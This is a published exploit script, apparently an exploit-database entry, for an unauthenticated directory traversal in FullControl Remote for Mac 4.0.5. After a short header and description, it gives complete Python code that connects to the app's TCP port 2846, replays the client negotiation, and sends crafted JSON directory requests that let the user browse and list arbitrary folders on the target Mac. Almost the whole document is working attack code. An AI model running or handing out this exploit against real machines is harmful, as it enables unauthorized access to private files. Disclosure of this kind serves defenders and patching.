# Exploit Title: FullControl: Remote for Mac 4.0.5 - Arbitrary Directory Traversal and Enumeration
# Date: 1/08/2025
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://fullcontrol.cescobaz.com/
# Software Link: https://apps.apple.com/us/app/fullcontrol-remote-for-mac/id347857890
# Version: 4.0.5
# Tested on: macOS 14.4 Sonoma
'''
Description:
FullControl Remote for Mac v4.0.5 is vulnerable to an unauthenticated
directory traversal flaw. An attacker can remotely enumerate and traverse
arbitrary directories on the target system by sending crafted JSON requests
to TCP port 2846. This vulnerability arises from insufficient input
validation and improper path normalization, enabling unauthorized access to
sensitive filesystem locations.
'''
import socket
import json
import time
from urllib.parse import unquote
HOST = '192.168.1.143'
PORT = 2846
NEGOTIATION_CMDS = [
'accessibilityAPIEnabled',
'protocol',
'API_level',
'fc',
'os',
'json2',
'version',
'fc',
'os',
'device',
'FullControl',
'4.2.0',
'4.2.0',
'26.0',
'Attacker',
]
def encode_slashes_in_json(s: str) -> str:
return s.replace('/', '\\u002f')
def recv_response(sock):
try:
sock.settimeout(2.0)
data = sock.recv(8192)
if not data:
return None
return data.decode(errors='ignore')
except socket.timeout:
return None
def perform_negotiation(sock):
print("[*] Starting negotiation...")
for cmd in NEGOTIATION_CMDS:
# print(f"[>] {cmd}")
sock.sendall(cmd.encode())
time.sleep(0.3)
resp = recv_response(sock)
# if resp:
# print(f"[<] {resp.strip()}")
def request_directory(sock, path: str, id_num=21):
request_obj = {
"Class": "Request",
"Id": id_num,
"Type": "directory",
"Text": path
}
j = json.dumps(request_obj, separators=(',', ':'))
je = encode_slashes_in_json(j)
sock.sendall(je.encode())
time.sleep(1)
resp = recv_response(sock)
if not resp:
print("[!] No response for directory request")
return None
return json.loads(resp)
def navigate_loop(sock, start_path: str):
current_path = start_path.rstrip('/')
while True:
print(f"\n[\U0001F4C1] Current path: {current_path}/")
directory_listing = request_directory(sock, current_path + "//")
if not directory_listing:
break
subdirs = []
print("\n[+] Contents:")
for e in directory_listing.get("Elements", []):
kind = e.get("Class")
name = e.get("Name")
print(f" - {name} ({kind})")
if kind == "Directory":
subdirs.append(name)
user_input = input("\n[?] Enter directory to enter (.. to go back,
q to quit): ").strip()
if user_input in ('q', 'exit'):
break
elif user_input == '..':
current_path =
'/'.join(current_path.rstrip('/').split('/')[:-1])
if current_path == '':
current_path = '/'
elif user_input in subdirs:
current_path += f"//{user_input}"
else:
print("[!] Invalid input or directory.")
def main():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
perform_negotiation(s)
root_req = {"Class": "Request", "Id": 20, "Type": "directory",
"Text": ""}
jroot = json.dumps(root_req, separators=(',', ':'))
s.sendall(jroot.encode())
time.sleep(1)
raw_root = recv_response(s)
if not raw_root:
print("[!] Failed to get base path")
return
parsed_root = json.loads(raw_root)
base_path_raw = parsed_root.get("Path", "")
base_path = unquote(base_path_raw).rstrip('/')
navigate_loop(s, base_path)
if __name__ == '__main__':
main()